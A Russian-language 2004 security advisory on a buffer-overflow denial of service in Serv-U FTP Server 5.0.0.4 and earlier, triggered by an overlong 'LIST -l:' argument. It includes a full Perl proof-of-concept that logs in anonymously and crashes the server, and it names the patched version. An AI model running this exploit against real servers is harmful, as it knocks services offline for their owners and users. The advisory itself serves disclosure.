Security Lab

Удаленный отказ в обслуживании в Serv-U FTP server в обработке LIST '-l:' параметра

Дата публикации:21.04.2004
Всего просмотров:1821
Опасность:
Средняя
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Отказ в обслуживании
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Serv-U FTP Server 5.x
Уязвимые версии: Serv-U FTP Server 5.0.0.4 и более ранние версии

Описание: Переполнение буфера обнаружено в Serv-U FTP server в обработке LIST '-l:' параметра. Удаленный авторизованный пользователь может аварийно завершить работу FTP сервера.

Удаленный авторизованный пользователь, включая анонимного пользователя, может представить специально обработанное значение для 'LIST -l:' команды, длиною около 134 байта, чтобы вызвать ошибку доступа к памяти и аварийно завершить работу FTP сервера.

Пример/Эксплоит:

#!/usr/bin/perl

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;

URL производителя:http://www.serv-u.com/

Решение:Установите обновленную версию программы (5.0.0.6): http://www.serv-u.com/customer/record.asp?prod=su

Ссылки: Serv-U LIST -l Parameter Buffer Overflow